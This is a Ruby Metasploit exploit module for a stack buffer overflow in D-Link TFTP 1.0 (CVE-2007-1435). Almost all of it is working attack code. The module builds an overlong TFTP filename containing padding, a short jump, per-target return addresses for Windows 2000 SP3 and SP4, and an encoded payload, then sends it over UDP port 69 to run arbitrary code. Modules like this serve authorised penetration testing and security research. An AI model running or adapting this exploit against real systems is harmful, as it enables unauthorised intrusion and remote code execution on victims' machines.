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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in D-Link TFTP 1.0.
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          By sending a request for an overly long file name, an attacker
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          could overflow a buffer and execute arbitrary code. For best results,
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          use bind payloads with nonx (No NX).
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        },
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        'Author' => [
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          'LSO <lso[at]hushmail.com>', # Exploit module
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          'aushack', # Refs, stability, targets etc
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        ],
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        'References' => [
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          [ 'CVE', '2007-1435' ],
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          [ 'OSVDB', '33977' ],
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          [ 'BID', '22923' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00",
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          'Compat' =>
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                      {
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                        'ConnectionType' => '-reverse',
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                      },
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        },
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        'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],
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        'Platform' => 'win',
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        'Targets' => [
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          # Patrick tested OK 20090228
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          ['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
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          ['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2007-03-12',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(69)
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      ], self
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    )
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  end
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  def exploit
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    connect_udp
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    print_status("Trying target #{target.name}...")
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    juju = "\x00\x01"
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    juju << Rex::Text.rand_text_alpha_upper(581)
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    juju << Rex::Arch::X86.jmp_short(42)
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    juju << Rex::Text.rand_text_alpha_upper(38)
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    juju << [target.ret].pack('V') + payload.encoded
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    udp_sock.put(juju)
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    handler
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    disconnect_udp
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  end
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end
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